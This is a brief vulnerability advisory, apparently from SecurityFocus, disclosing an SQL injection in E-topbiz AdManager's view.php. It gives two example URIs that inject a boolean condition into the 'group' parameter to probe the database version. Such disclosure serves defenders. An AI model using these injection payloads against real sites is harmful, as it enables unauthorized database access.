E-topbiz AdManager 'view.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/admanager4/view.php?group=4+and%20substring(@@version,1,1)=4
http://www.example.com/admanager4/view.php?group=4+and%20substring(@@version,1,1)=5


 

Privacy Statement
Copyright 2010, SecurityFocus